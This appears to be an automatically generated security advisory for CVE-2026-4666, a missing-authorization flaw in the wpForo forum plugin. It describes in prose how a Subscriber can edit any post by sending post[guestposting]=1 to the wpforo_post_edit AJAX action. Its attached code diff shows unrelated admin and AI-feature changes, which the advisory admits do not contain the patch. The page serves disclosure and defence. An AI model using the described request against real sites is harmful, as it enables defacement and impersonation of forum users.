Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 17, 2026

CVE-2026-4666: wpForo Forum <= 2.4.16 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Forum Post Modification via 'guestposting' Parameter (wpforo)

CVE ID CVE-2026-4666
Plugin wpforo
Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 2.4.16
Patched Version 3.0.0
Disclosed April 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4666:
The wpForo Forum plugin for WordPress, versions up to and including 2.4.16, contains a missing authorization vulnerability in the post editing functionality. This flaw allows authenticated attackers with Subscriber-level access or higher to arbitrarily modify any forum post, including posts in private forums and those authored by administrators or moderators. The vulnerability stems from improper input handling and a weak nonce validation mechanism.

Root Cause:
The vulnerability originates in the `edit()` method within the `classes/Posts.php` file. This method uses `extract($args, EXTR_OVERWRITE)` on user-controlled input. The `post_edit` action handler in `Actions.php` passes `$_REQUEST[‘post’]` directly to `Posts::edit()`. An attacker can inject a `post[guestposting]=1` parameter into the request. This overwrites the local `$guestposting` variable inside the `edit()` method, causing the entire permission check block to be skipped. The permission check block, which should verify if the current user can edit the post, is conditionally executed only when `$guestposting` is not set to 1.

Exploitation:
An attacker must be an authenticated WordPress user with at least Subscriber privileges. The attack targets the `wp-admin/admin-ajax.php` endpoint with the `action` parameter set to `wpforo_post_edit`. The attacker crafts a POST request containing the `post` array parameter, which includes the target `postid` and the malicious `guestposting=1` parameter. The nonce check uses a hardcoded `wpforo_verify_form` action shared across all eight forum templates, meaning any user who can view any forum page obtains a valid nonce. The payload bypasses authorization checks and allows the attacker to modify the post’s title, body, name, and email fields.

Patch Analysis:
The provided code diff does not contain the security patch for this specific vulnerability. The diff shows administrative interface changes, including the addition of AI features and moderation enhancements in files like `wpforo/admin/index.php`, `wpforo/admin/listtables/Moderations.php`, and `wpforo/admin/pages/ai-features.php`. Atomic Edge research indicates the fix would require modifying the `edit()` method in `classes/Posts.php` to remove the reliance on `extract()` and implement proper authorization checks before processing user input. The patch should validate user permissions independently of the `$guestposting` variable and ensure the `guestposting` parameter cannot be user-controlled to bypass checks.

Impact:
Successful exploitation allows authenticated low-privileged users to edit any forum post. Attackers can deface content, impersonate other users by modifying the name and email fields, and alter posts in private or administrative forums. While the `wpforo_kses()` function filters JavaScript, it permits rich HTML, enabling the injection of formatted content, links, and potentially malicious iframes. This vulnerability compromises forum integrity and can facilitate social engineering, harassment, and reputation damage.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpforo/admin/index.php
+++ b/wpforo/admin/index.php
@@ -12,7 +12,7 @@
 }, 39 );

 function wpforo_admin_menu(){
-	if( wpforo_current_user_is( 'admin' ) || WPF()->usergroup->can( 'mf' ) || WPF()->usergroup->can( 'ms' ) || WPF()->usergroup->can( 'vm' ) || WPF()->usergroup->can( 'mp' ) || WPF()->usergroup->can( 'aum' ) || WPF()->usergroup->can( 'vmg' ) || WPF()->usergroup->can( 'mth' ) ) {
+	if( wpforo_current_user_is( 'admin' ) || WPF()->usergroup->can( 'mf' ) || WPF()->usergroup->can( 'ms' ) || WPF()->usergroup->can( 'mai' ) || WPF()->usergroup->can( 'vm' ) || WPF()->usergroup->can( 'mp' ) || WPF()->usergroup->can( 'aum' ) || WPF()->usergroup->can( 'vmg' ) || WPF()->usergroup->can( 'mth' ) ) {
 		$menu_position = apply_filters( 'wpforo_admin_menu_position', 23 );
 		$boards = WPF()->board->get_boards( [ 'status' => true ] );
 		$board = current( $boards );
@@ -60,6 +60,11 @@
 					require( WPFORO_DIR . '/admin/pages/settings.php' );
 				} );
 			}
+			if( WPF()->usergroup->can( 'mai' ) || wpforo_current_user_is( 'admin' ) ) {
+				add_submenu_page( $parent_slug, __( 'AI Features', 'wpforo' ), __( 'AI Features', 'wpforo' ), 'read', 'wpforo-ai', function() {
+					require( WPFORO_DIR . '/admin/pages/ai-features.php' );
+				} );
+			}
 			if( WPF()->usergroup->can( 'aum' ) || wpforo_current_user_is( 'admin' ) ) {
 				add_submenu_page( $parent_slug, __( 'Moderation', 'wpforo' ), __( 'Moderation', 'wpforo' ) . $mod_count, 'read', wpforo_prefix_slug( 'moderations' ), function() {
 					require( WPFORO_DIR . '/admin/pages/moderation.php' );
@@ -111,7 +116,7 @@
 }

 function wpforo_admin_menu_multiboard(){
-	if( wpforo_current_user_is( 'admin' ) || WPF()->usergroup->can( 'mf' ) || WPF()->usergroup->can( 'ms' ) || WPF()->usergroup->can( 'vm' ) || WPF()->usergroup->can( 'mp' ) || WPF()->usergroup->can( 'aum' ) || WPF()->usergroup->can( 'vmg' ) || WPF()->usergroup->can( 'mth' ) ) {
+	if( wpforo_current_user_is( 'admin' ) || WPF()->usergroup->can( 'mf' ) || WPF()->usergroup->can( 'ms' ) || WPF()->usergroup->can( 'mai' ) || WPF()->usergroup->can( 'vm' ) || WPF()->usergroup->can( 'mp' ) || WPF()->usergroup->can( 'aum' ) || WPF()->usergroup->can( 'vmg' ) || WPF()->usergroup->can( 'mth' ) ) {
 		$menu_position = apply_filters( 'wpforo_admin_menu_position', 23 );
 		$parent_slug = 'wpforo-overview';
 		$attention_count = WPF()->member->get_count( [ 'p.status' => ['banned', 'inactive'] ] );
@@ -156,6 +161,11 @@
 				require( WPFORO_DIR . '/admin/pages/settings.php' );
 			} );
 		}
+		if( WPF()->usergroup->can( 'mai' ) || wpforo_current_user_is( 'admin' ) ) {
+			add_submenu_page( $parent_slug, __( 'AI Features', 'wpforo' ), __( 'AI Features', 'wpforo' ), 'read', 'wpforo-ai', function() {
+				require( WPFORO_DIR . '/admin/pages/ai-features.php' );
+			} );
+		}
 		if( WPF()->usergroup->can( 'mth' ) || wpforo_current_user_is( 'admin' ) ) {
 			add_submenu_page( $parent_slug, __( 'Themes', 'wpforo' ), __( 'Themes', 'wpforo' ), 'read', wpforo_prefix_slug( 'themes' ), function() {
 				require( WPFORO_DIR . '/admin/pages/themes.php' );
@@ -248,3 +258,6 @@
 			</div>
 	</div>';
 } );
+
+// Feature Introduction Modal - shows once per admin after major updates
+new wpforoclassesFeatureIntro();
--- a/wpforo/admin/listtables/Moderations.php
+++ b/wpforo/admin/listtables/Moderations.php
@@ -13,6 +13,11 @@

 	public $wpfitems_count;

+	/**
+	 * Cache for moderation data to avoid repeated queries
+	 */
+	private $moderation_cache = [];
+
 	/** ************************************************************************
 	 * REQUIRED. Set up a constructor that references the parent constructor. We
 	 * use the parent reference to set some default configs.
@@ -59,8 +64,17 @@
 				return apply_filters( 'wpforo_admin_listtables_moderations_column_title', $item[ $column_name ], $item );
 			case 'userid':
 				$userdata = get_userdata( $item[ $column_name ] );
+				$display_name = ! empty( $userdata->user_nicename ) ? urldecode( $userdata->user_nicename ) : $item[ $column_name ];
+
+				// Check if user is banned
+				$member = WPF()->member->get_member( $item[ $column_name ] );
+				$is_banned = ( ! empty( $member ) && isset( $member['status'] ) && $member['status'] === 'banned' );
+
+				if( $is_banned ) {
+					return '<span style="color: #dc3545; font-weight: 500;" title="' . esc_attr__( 'Banned', 'wpforo' ) . '">' . esc_html( $display_name ) . '</span>';
+				}

-				return ( ! empty( $userdata->user_nicename ) ? urldecode( $userdata->user_nicename ) : $item[ $column_name ] );
+				return esc_html( $display_name );
 			case 'is_first_post':
 				return ( $item[ $column_name ] ) ? __( 'TOPIC', 'wpforo' ) : __( 'REPLY', 'wpforo' );
 			case 'private':
@@ -99,9 +113,30 @@
 			$uhref                   = wp_nonce_url( admin_url( sprintf( 'admin.php?page=%1$s&wpfaction=%2$s&postid=%3$s', wpforo_prefix_slug( 'moderations' ), 'dashboard_post_unapprove', $item['postid'] ) ), 'wpforo-unapprove-post-' . $item['postid'] );
 			$actions['wpfunapprove'] = '<a href="' . $uhref . '">' . __( 'Unapprove', 'wpforo' ) . '</a>';
 		}
+
 		$dhref             = wp_nonce_url( admin_url( sprintf( 'admin.php?page=%1$s&wpfaction=%2$s&postid=%3$s', wpforo_prefix_slug( 'moderations' ), 'dashboard_post_delete', $item['postid'] ) ), 'wpforo-delete-post-' . $item['postid'] );
 		$actions['delete'] = '<a onclick="return confirm('' . __( "Are you sure you want to DELETE this item?", 'wpforo' ) . '');" href="' . $dhref . '">' . __( 'Delete', 'wpforo' ) . '</a>';

+		// Ban/Unban User action - show based on user's current ban status
+		if( ! empty( $item['userid'] ) && $item['userid'] > 0 && WPF()->usergroup->can( 'bm' ) && intval( $item['userid'] ) !== WPF()->current_userid ) {
+			$member = WPF()->member->get_member( $item['userid'] );
+			$is_banned = ( ! empty( $member ) && isset( $member['status'] ) && $member['status'] === 'banned' );
+
+			if( $is_banned ) {
+				$unban_url = wp_nonce_url( admin_url( sprintf( 'admin.php?page=%1$s&wpfaction=%2$s&userid=%3$s', wpforo_prefix_slug( 'members' ), 'user_unban', $item['userid'] ) ), 'wpforo-user-unban-' . $item['userid'] );
+				$actions['ban_user'] = '<a style="white-space:nowrap; color:#006600;" onclick="return confirm('' . __( "Are you sure you want to UNBAN this user?", 'wpforo' ) . '');" href="' . esc_url( $unban_url ) . '">' . __( 'Unban User', 'wpforo' ) . '</a>';
+			} else {
+				$ban_url = wp_nonce_url( admin_url( sprintf( 'admin.php?page=%1$s&wpfaction=%2$s&userid=%3$s', wpforo_prefix_slug( 'members' ), 'user_ban', $item['userid'] ) ), 'wpforo-user-ban-' . $item['userid'] );
+				$actions['ban_user'] = '<a style="white-space:nowrap; color:orange;" onclick="return confirm('' . __( "Are you sure you want to BAN this user?", 'wpforo' ) . '');" href="' . esc_url( $ban_url ) . '">' . __( 'Ban User', 'wpforo' ) . '</a>';
+			}
+		}
+
+		// Delete User action - links to WordPress delete user page
+		if( ! empty( $item['userid'] ) && $item['userid'] > 0 && WPF()->usergroup->can( 'dm' ) && intval( $item['userid'] ) !== WPF()->current_userid ) {
+			$delete_user_url         = wp_nonce_url( admin_url( 'users.php?action=delete&user=' . intval( $item['userid'] ) ), 'bulk-users' );
+			$actions['delete_user']  = '<a style="white-space:nowrap;" onclick="return confirm('' . __( "Are you sure you want to DELETE this USER? This will open the WordPress user deletion page where you can choose to delete or reassign their content.", 'wpforo' ) . '');" href="' . esc_url( $delete_user_url ) . '">' . __( 'Delete User', 'wpforo' ) . '</a>';
+		}
+
 		$actions = apply_filters( 'wpforo_admin_listtables_moderations_actions', $actions, $item );

 		//Return the title contents
@@ -365,4 +400,286 @@
         </label>
         <?php
 	}
+
+	/**
+	 * Override single_row to add moderation report row after each post row
+	 *
+	 * @param array $item The current item
+	 */
+	public function single_row( $item ) {
+		// Output the regular row
+		parent::single_row( $item );
+
+		// Only show moderation report row for unapproved posts
+		if( $this->get_filter_by_status_var() !== 1 ) {
+			return;
+		}
+
+		// Get moderation data for this post
+		$moderation_data = $this->get_moderation_data( $item );
+
+		// Always render the report row to maintain odd/even striping
+		// Empty rows will be hidden via CSS
+		$this->render_moderation_report_row( $item, $moderation_data );
+	}
+
+	/**
+	 * Get moderation data for a post
+	 *
+	 * @param array $item Post item data
+	 * @return array|null Moderation data or null
+	 */
+	private function get_moderation_data( $item ) {
+		$postid = intval( $item['postid'] );
+
+		// Check cache first
+		if( isset( $this->moderation_cache[ $postid ] ) ) {
+			return $this->moderation_cache[ $postid ];
+		}
+
+		$result = [];
+
+		// Determine content type
+		$is_first_post = ! empty( $item['is_first_post'] );
+		$content_type  = $is_first_post ? 'topic' : 'post';
+		$content_id    = $is_first_post ? ( $item['topicid'] ?? $item['postid'] ) : $item['postid'];
+
+		// Get AI Moderation data (if AI Moderation is active)
+		if( class_exists( 'wpforoclassesAIContentModeration' ) && ! empty( WPF()->ai_content_moderation ) ) {
+			$ai_logs = WPF()->ai_content_moderation->get_moderation_logs( $content_type, (int) $content_id );
+			if( ! empty( $ai_logs ) ) {
+				$result['ai_moderation'] = $ai_logs;
+			}
+		}
+
+		// Check for wpForo built-in antispam (this is simple - just a flag that post was unapproved by antispam)
+		// Built-in antispam doesn't store detailed data, but we can check if it was likely antispam-based
+		// by looking at whether user is new or if spam patterns were detected
+		if( empty( $result['ai_moderation'] ) && ! empty( $item['userid'] ) ) {
+			$new_user_max_posts = wpforo_setting( 'antispam', 'new_user_max_posts' );
+			if( $new_user_max_posts ) {
+				$user_posts = WPF()->member->member_approved_posts( $item['userid'] );
+				if( $user_posts <= $new_user_max_posts ) {
+					// Likely caught by built-in antispam for new users
+					$result['builtin_antispam'] = [
+						'reason' => 'new_user',
+						'label'  => __( 'New User Filter', 'wpforo' ),
+						'description' => __( 'Post was automatically held for moderation because the author is a new user.', 'wpforo' ),
+					];
+				}
+			}
+		}
+
+		// Cache the result
+		$this->moderation_cache[ $postid ] = $result;
+
+		return $result;
+	}
+
+	/**
+	 * Render the moderation report row
+	 *
+	 * @param array $item Post item data
+	 * @param array $moderation_data Moderation data (can be empty)
+	 */
+	private function render_moderation_report_row( $item, $moderation_data ) {
+		$columns_count = count( $this->get_columns() );
+		$has_data = ! empty( $moderation_data );
+		$row_class = 'wpf-moderation-report-row' . ( $has_data ? '' : ' wpf-moderation-report-empty' );
+		?>
+		<tr class="<?php echo esc_attr( $row_class ); ?>">
+			<?php if( $has_data ) : ?>
+			<td colspan="<?php echo esc_attr( $columns_count ); ?>" class="wpf-moderation-report-cell">
+				<div class="wpf-moderation-report-container">
+					<?php
+					// Display AI Moderation reports
+					if( ! empty( $moderation_data['ai_moderation'] ) ) {
+						foreach( $moderation_data['ai_moderation'] as $log ) {
+							$this->render_ai_moderation_report( $log );
+						}
+					}
+
+					// Display built-in antispam info
+					if( ! empty( $moderation_data['builtin_antispam'] ) ) {
+						$this->render_builtin_antispam_report( $moderation_data['builtin_antispam'] );
+					}
+					?>
+				</div>
+			</td>
+			<?php else : ?>
+			<td colspan="<?php echo esc_attr( $columns_count ); ?>"></td>
+			<?php endif; ?>
+		</tr>
+		<?php
+	}
+
+	/**
+	 * Render AI moderation report
+	 *
+	 * @param array $log Moderation log data
+	 */
+	private function render_ai_moderation_report( $log ) {
+		$score       = (int) ( $log['score'] ?? 0 );
+		$confidence  = (float) ( $log['confidence'] ?? 0 );
+		$mod_type    = $log['moderation_type'] ?? 'spam';
+		$action      = $log['action_taken'] ?? 'none';
+		$summary     = $log['analysis_summary'] ?? '';
+		$indicators  = $log['indicators'] ?? [];
+		$quality     = $log['quality_tier'] ?? 'fast';
+		$credits     = (int) ( $log['credits_used'] ?? 0 );
+		$created     = $log['created'] ?? '';
+		$context_used = ! empty( $log['context_used'] );
+		$is_ai       = ( $quality !== 'rule_based' );
+
+		// Decode indicators if string
+		if( is_string( $indicators ) && ! empty( $indicators ) ) {
+			$indicators = json_decode( $indicators, true ) ?: [];
+		}
+
+		// Moderation type config
+		$type_config = [
+			'spam' => [
+				'label' => $is_ai ? __( 'Spam Detection', 'wpforo' ) : __( 'Auto Moderation', 'wpforo' ),
+				'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"></circle><line x1="4.93" y1="4.93" x2="19.07" y2="19.07"></line></svg>',
+				'color' => $is_ai ? '#d63384' : '#0d6efd',
+			],
+			'toxicity' => [
+				'label' => __( 'Toxicity Detection', 'wpforo' ),
+				'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10.29 3.86L1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z"></path><line x1="12" y1="9" x2="12" y2="13"></line><line x1="12" y1="17" x2="12.01" y2="17"></line></svg>',
+				'color' => '#fd7e14',
+			],
+			'compliance' => [
+				'label' => __( 'Policy Compliance', 'wpforo' ),
+				'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10"/></svg>',
+				'color' => '#6f42c1',
+			],
+			'flood' => [
+				'label' => __( 'Auto Moderation', 'wpforo' ),
+				'icon'  => '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"></circle><line x1="12" y1="8" x2="12" y2="12"></line><line x1="12" y1="16" x2="12.01" y2="16"></line></svg>',
+				'color' => '#0d6efd',
+			],
+		];
+
+		$config = $type_config[ $mod_type ] ?? $type_config['spam'];
+
+		// Status class and label
+		$status_class = 'clean';
+		$status_label = __( 'Clean', 'wpforo' );
+		if( $score >= 85 ) {
+			$status_class = 'detected';
+			$status_label = __( 'Detected', 'wpforo' );
+		} elseif( $score >= 70 ) {
+			$status_class = 'suspected';
+			$status_label = __( 'Suspected', 'wpforo' );
+		} elseif( $score >= 51 ) {
+			$status_class = 'uncertain';
+			$status_label = __( 'Uncertain', 'wpforo' );
+		}
+
+		// Action labels
+		$action_labels = [
+			'none'          => __( 'No action', 'wpforo' ),
+			'approve'       => __( 'Auto-approved', 'wpforo' ),
+			'auto_approve'  => __( 'Auto-approved', 'wpforo' ),
+			'unapprove'     => __( 'Unapproved', 'wpforo' ),
+			'unapprove_ban' => __( 'Unapproved + Banned', 'wpforo' ),
+			'delete_author' => __( 'Deleted + Banned', 'wpforo' ),
+		];
+		$action_label = $action_labels[ $action ] ?? $action;
+
+		// Quality labels
+		$quality_labels = [
+			'fast'       => __( 'Fast', 'wpforo' ),
+			'balanced'   => __( 'Balanced', 'wpforo' ),
+			'advanced'   => __( 'Advanced', 'wpforo' ),
+			'premium'    => __( 'Premium', 'wpforo' ),
+			'rule_based' => __( 'Rule-based', 'wpforo' ),
+		];
+		$quality_label = $quality_labels[ $quality ] ?? $quality;
+		?>
+		<div class="wpf-mod-report wpf-mod-report-ai wpf-mod-status-<?php echo esc_attr( $status_class ); ?>" data-type="<?php echo esc_attr( $mod_type ); ?>">
+			<div class="wpf-mod-report-type">
+				<span class="wpf-mod-type-icon" style="color: <?php echo esc_attr( $config['color'] ); ?>">
+					<?php echo $config['icon']; ?>
+				</span>
+				<span class="wpf-mod-type-label"><?php echo esc_html( $config['label'] ); ?></span>
+			</div>
+			<div class="wpf-mod-report-content">
+				<div class="wpf-mod-report-header">
+					<span class="wpf-mod-status wpf-mod-status-<?php echo esc_attr( $status_class ); ?>"><?php echo esc_html( $status_label ); ?></span>
+					<?php if( $is_ai ) : ?>
+						<span class="wpf-mod-score"><?php printf( __( 'Score: %d%%', 'wpforo' ), $score ); ?></span>
+						<span class="wpf-mod-confidence"><?php printf( __( 'Confidence: %d%%', 'wpforo' ), round( $confidence * 100 ) ); ?></span>
+					<?php else : ?>
+						<span class="wpf-mod-score"><?php _e( 'Score: -', 'wpforo' ); ?></span>
+					<?php endif; ?>
+					<span class="wpf-mod-action"><?php printf( __( 'Action: %s', 'wpforo' ), $action_label ); ?></span>
+				</div>
+
+				<?php if( ! empty( $summary ) ) : ?>
+				<div class="wpf-mod-report-summary">
+					<strong><?php _e( 'Summary:', 'wpforo' ); ?></strong> <?php echo esc_html( $summary ); ?>
+				</div>
+				<?php endif; ?>
+
+				<?php if( ! empty( $indicators ) && is_array( $indicators ) ) : ?>
+				<div class="wpf-mod-report-indicators">
+					<strong><?php _e( 'Indicators:', 'wpforo' ); ?></strong>
+					<ul class="wpf-mod-indicator-list">
+						<?php foreach( $indicators as $indicator ) : ?>
+						<li class="wpf-mod-indicator wpf-mod-severity-<?php echo esc_attr( strtolower( $indicator['severity'] ?? 'medium' ) ); ?>">
+							<span class="wpf-mod-indicator-category"><?php echo esc_html( $indicator['category'] ?? '' ); ?></span>
+							<?php if( ! empty( $indicator['description'] ) ) : ?>
+							<span class="wpf-mod-indicator-desc"><?php echo esc_html( $indicator['description'] ); ?></span>
+							<?php endif; ?>
+						</li>
+						<?php endforeach; ?>
+					</ul>
+				</div>
+				<?php endif; ?>
+
+				<div class="wpf-mod-report-meta">
+					<?php if( $is_ai ) : ?>
+					<span class="wpf-mod-quality"><?php printf( __( 'AI executor: %s', 'wpforo' ), $quality_label ); ?></span>
+					<?php if( $credits > 0 ) : ?>
+					<span class="wpf-mod-credits"><?php printf( _n( '%d credit', '%d credits', $credits, 'wpforo' ), $credits ); ?></span>
+					<?php endif; ?>
+					<?php if( $context_used ) : ?>
+					<span class="wpf-mod-context"><?php _e( 'Context-aware', 'wpforo' ); ?></span>
+					<?php endif; ?>
+					<?php endif; ?>
+					<?php if( ! empty( $created ) ) : ?>
+					<span class="wpf-mod-date"><?php echo esc_html( date_i18n( get_option( 'date_format' ) . ' ' . get_option( 'time_format' ), strtotime( $created ) ) ); ?></span>
+					<?php endif; ?>
+				</div>
+			</div>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Render built-in antispam report
+	 *
+	 * @param array $data Antispam data
+	 */
+	private function render_builtin_antispam_report( $data ) {
+		?>
+		<div class="wpf-mod-report wpf-mod-report-builtin">
+			<div class="wpf-mod-report-type">
+				<span class="wpf-mod-type-icon" style="color: #0d6efd;">
+					<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"></circle><line x1="12" y1="8" x2="12" y2="12"></line><line x1="12" y1="16" x2="12.01" y2="16"></line></svg>
+				</span>
+				<span class="wpf-mod-type-label"><?php _e( 'wpForo Antispam', 'wpforo' ); ?></span>
+			</div>
+			<div class="wpf-mod-report-content">
+				<div class="wpf-mod-report-header">
+					<span class="wpf-mod-status wpf-mod-status-builtin"><?php echo esc_html( $data['label'] ); ?></span>
+				</div>
+				<div class="wpf-mod-report-summary">
+					<?php echo esc_html( $data['description'] ); ?>
+				</div>
+			</div>
+		</div>
+		<?php
+	}
 }
--- a/wpforo/admin/pages/ai-features.php
+++ b/wpforo/admin/pages/ai-features.php
@@ -0,0 +1,333 @@
+<?php
+/**
+ * wpForo AI Features - Admin Page
+ *
+ * Main administration page for managing AI features integration, subscription,
+ * and usage monitoring.
+ *
+ * @since 3.0.0
+ */
+
+// Security: Check permissions
+if ( ! wpforo_current_user_is( 'admin' ) && ! WPF()->usergroup->can( 'mai' ) ) {
+	wp_die( __( 'You do not have sufficient permissions to access this page.', 'wpforo' ) );
+}
+
+// Include helper functions and tab content files FIRST (before using them)
+require_once __DIR__ . '/tabs/ai-features-helpers.php';
+require_once __DIR__ . '/tabs/ai-features-tab-overview.php';
+require_once __DIR__ . '/tabs/ai-features-tab-rag-indexing.php';
+require_once __DIR__ . '/tabs/ai-features-tab-ai-tasks.php';
+require_once __DIR__ . '/tabs/ai-features-tab-analytics.php';
+require_once __DIR__ . '/tabs/ai-features-tab-ai-logs.php';
+
+// Determine current tab early (needed for conditional script loading)
+$current_tab = isset( $_GET['tab'] ) ? sanitize_key( $_GET['tab'] ) : 'overview';
+
+// Enqueue AI Features scripts and styles
+wp_enqueue_style( 'wpforo-ai-features', WPFORO_URL . '/admin/assets/css/ai-features.css', [], WPFORO_VERSION );
+
+// Chart.js is only needed on the analytics tab - don't load it elsewhere
+$ai_features_deps = [ 'jquery', 'suggest' ];
+if ( $current_tab === 'analytics' ) {
+	wp_enqueue_script( 'wpforo-chart-js', WPFORO_URL . '/admin/assets/js/chart.min.js', [], '4.4.1', true );
+	$ai_features_deps[] = 'wpforo-chart-js';
+}
+wp_enqueue_script( 'wpforo-ai-features', WPFORO_URL . '/admin/assets/js/ai-features.js', $ai_features_deps, WPFORO_VERSION, false );
+
+// Localize script with AJAX URL and nonce
+wp_localize_script( 'wpforo-ai-features', 'wpforoAIAdmin', [
+	'ajaxUrl'    => admin_url( 'admin-ajax.php' ),
+	'nonce'      => wp_create_nonce( 'wpforo_ai_features_nonce' ),
+	'adminNonce' => wp_create_nonce( 'wpforo_admin_ajax' ), // For WordPress content indexing AJAX calls
+	'debugMode'  => (bool) wpforo_setting( 'general', 'debug_mode' ),
+] );
+
+// Localize i18n strings for AI logs (wpforoAI is used by WpForoAILogs module)
+wp_localize_script( 'wpforo-ai-features', 'wpforoAI', [
+	'i18n' => [
+		'confirmDelete'         => __( 'Are you sure you want to delete this log?', 'wpforo' ),
+		'confirmDeleteSelected' => __( 'Are you sure you want to delete the selected logs?', 'wpforo' ),
+		'deleteAllLogs'         => __( 'Delete All Logs', 'wpforo' ),
+		'noLogs'                => __( 'No logs found.', 'wpforo' ),
+	],
+] );
+
+// Initialize AI Client
+if ( ! isset( WPF()->ai_client ) ) {
+	WPF()->ai_client = new wpforoclassesAIClient();
+}
+
+// Pricing is now static - no cache refresh needed
+
+// Handle form submissions
+$notice = wpforo_ai_handle_form_actions();
+
+// Clear WordPress object cache for options (in case of external cache plugins)
+// This ensures fresh values from DB after form submissions
+wp_cache_delete( 'alloptions', 'options' );
+wp_cache_delete( 'notoptions', 'options' );
+
+// Note: Status transient is only cleared by specific actions (connect, disconnect, refresh)
+// NOT on every page load - the 5-minute cache in get_tenant_status() prevents excessive API calls
+
+// Get current connection status (fresh from database)
+// Use global options (shared across all boards) to check connection
+$api_key    = WPF()->ai_client->get_api_key();
+$tenant_id  = WPF()->ai_client->get_tenant_id();
+$is_connected = ! empty( $api_key ) && ! empty( $tenant_id );
+
+// Check if returning from Freemius purchase (for status badge update)
+$is_post_purchase = (isset( $_GET['upgraded'] ) && $_GET['upgraded'] == '1') || (isset( $_GET['credits_purchased'] ) && $_GET['credits_purchased'] == '1');
+$purchased_plan = isset( $_GET['plan'] ) ? sanitize_key( $_GET['plan'] ) : '';
+
+// Get tenant status if connected
+$status = null;
+if ( $is_connected ) {
+	$status = WPF()->ai_client->get_tenant_status();
+	if ( is_wp_error( $status ) ) {
+		// Connection exists but status fetch failed - show error state
+		$connection_error = $status;
+		$is_connected = false;
+	}
+}
+
+// Determine current state
+$current_state = wpforo_ai_get_current_state( $is_connected, $status );
+
+// If pending_approval and status is missing/error, construct from transient
+if ( $current_state === 'pending_approval' && ( ! $status || is_wp_error( $status ) ) ) {
+	$pending = get_transient( 'wpforo_ai_pending_approval' );
+	if ( $pending ) {
+		$status = [
+			'subscription' => [
+				'status'        => 'pending_approval',
+				'plan'          => 'free_trial',
+				'credits_total' => wpfval( $pending, 'credits_total' ) ?: 500,
+			],
+		];
+	}
+}
+
+?>
+
+<div class="wrap wpforo-ai-wrap">
+	<h1 class="wpforo-ai-title">
+		<svg width="50px" height="50px" viewBox="0 0 512 512" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+            <title>ai</title>
+            <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
+                <g id="icon" fill="#000000" transform="translate(64.000000, 64.000000)">
+                    <path d="M320,64 L320,320 L64,320 L64,64 L320,64 Z M171.749388,128 L146.817842,128 L99.4840387,256 L121.976629,256 L130.913039,230.977 L187.575039,230.977 L196.319607,256 L220.167172,256 L171.749388,128 Z M260.093778,128 L237.691519,128 L237.691519,256 L260.093778,256 L260.093778,128 Z M159.094727,149.47526 L181.409039,213.333 L137.135039,213.333 L159.094727,149.47526 Z M341.333333,256 L384,256 L384,298.666667 L341.333333,298.666667 L341.333333,256 Z M85.3333333,341.333333 L128,341.333333 L128,384 L85.3333333,384 L85.3333333,341.333333 Z M170.666667,341.333333 L213.333333,341.333333 L213.333333,384 L170.666667,384 L170.666667,341.333333 Z M85.3333333,0 L128,0 L128,42.6666667 L85.3333333,42.6666667 L85.3333333,0 Z M256,341.333333 L298.666667,341.333333 L298.666667,384 L256,384 L256,341.333333 Z M170.666667,0 L213.333333,0 L213.333333,42.6666667 L170.666667,42.6666667 L170.666667,0 Z M256,0 L298.666667,0 L298.666667,42.6666667 L256,42.6666667 L256,0 Z M341.333333,170.666667 L384,170.666667 L384,213.333333 L341.333333,213.333333 L341.333333,170.666667 Z M0,256 L42.6666667,256 L42.6666667,298.666667 L0,298.666667 L0,256 Z M341.333333,85.3333333 L384,85.3333333 L384,128 L341.333333,128 L341.333333,85.3333333 Z M0,170.666667 L42.6666667,170.666667 L42.6666667,213.333333 L0,213.333333 L0,170.666667 Z M0,85.3333333 L42.6666667,85.3333333 L42.6666667,128 L0,128 L0,85.3333333 Z" id="Combined-Shape">
+
+        </path>
+                </g>
+            </g>
+        </svg>
+		<?php _e( 'wpForo AI Features', 'wpforo' ); ?>
+	</h1>
+
+	<?php
+	// Display notices
+	if ( $notice ) {
+		wpforo_ai_display_notice( $notice );
+	}
+	?>
+
+	<!-- Tab Navigation -->
+	<?php
+	// $current_tab is set at top of file (for conditional script loading)
+	$tabs = array(
+		'overview'      => __( 'Overview', 'wpforo' ),
+	);
+
+	// Only show AI feature tabs when subscription is active or trial
+	// For expired, inactive, pending_approval, not_connected, or error states - only show Overview
+	if ( in_array( $current_state, [ 'free_trial', 'paid_plan' ], true ) ) {
+		$tabs['rag_indexing'] = __( 'AI Content Indexing', 'wpforo' );
+		$tabs['ai_tasks']     = __( 'AI Tasks', 'wpforo' );
+		$tabs['analytics']    = __( 'AI Analytics', 'wpforo' );
+		$tabs['ai_logs']      = __( 'AI Logs', 'wpforo' );
+	}
+
+	// Force redirect to overview tab if user tries to access restricted tab
+	if ( ! isset( $tabs[ $current_tab ] ) ) {
+		$current_tab = 'overview';
+	}
+	?>
+	<?php
+	// Get all active boards for AI Settings tab
+	$all_boards = WPF()->board->get_boards( [ 'status' => true ] );
+	$is_multiboard = count( $all_boards ) > 1;
+	?>
